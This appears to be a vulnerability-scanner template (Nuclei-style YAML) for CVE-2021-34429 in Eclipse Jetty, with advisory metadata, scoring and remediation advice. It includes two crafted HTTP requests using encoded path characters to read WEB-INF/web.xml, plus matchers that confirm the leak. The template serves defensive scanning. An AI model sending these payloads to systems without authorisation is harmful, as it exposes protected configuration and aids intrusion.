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id : CVE-2021-34429
info :
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name : Eclipse Jetty - Information Disclosure
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author : bernardofsr,am0nt31r0
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severity : medium
description : |
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Eclipse Jetty 9.4.37-9.4.42, 10.0.1-10.0.5 and 11.0.1-11.0.5 are susceptible to improper authorization. URIs can be crafted using some encoded characters to access the content of the WEB-INF directory and/or bypass some security constraints. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations. This is a variation of the vulnerability reported in CVE-2021-28164/GHSA-v7ff-8wcx-gmc5.
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remediation : |
Apply the latest security patches or updates provided by the vendor to fix the information disclosure vulnerability in Eclipse Jetty.
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reference :
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- https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm
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- https://lists.apache.org/thread.html/r763840320a80e515331cbc1e613fa93f25faf62e991974171a325c82@%3Cdev.zookeeper.apache.org%3E
- https://lists.apache.org/thread.html/r7dd079fa0ac6f47ba1ad0af98d7d0276547b8a4e005f034fb1016951@%3Cissues.zookeeper.apache.org%3E
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- https://nvd.nist.gov/vuln/detail/CVE-2021-34429
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- https://lists.apache.org/thread.html/r029c0c6833c8bb6acb094733fd7b75029d633f47a92f1c9d14391fc0@%3Cnotifications.zookeeper.apache.org%3E
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
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cvss-score : 5.3
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cve-id : CVE-2021-34429
cwe-id : CWE-200
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epss-score : 0.80673
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epss-percentile : 0.97945
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cpe : cpe:2.3:a:eclipse:jetty:*:*:*:*:*:*:*:*
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metadata :
max-request : 2
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vendor : eclipse
product : jetty
tags : cve,cve2021,jetty
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http :
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- raw :
- |+
GET /%u002e/WEB-INF/web.xml HTTP/1.1
Host : {{Hostname}}
Origin : {{BaseURL}}
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- |+
GET /.%00/WEB-INF/web.xml HTTP/1.1
Host : {{Hostname}}
Origin : {{BaseURL}}
unsafe : true
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matchers-condition : and
matchers :
- type : word
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part : body
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words :
- "</web-app>"
- "java.sun.com"
condition : and
- type : word
part : header
words :
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- "application/xml"
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- type : status
status :
- 200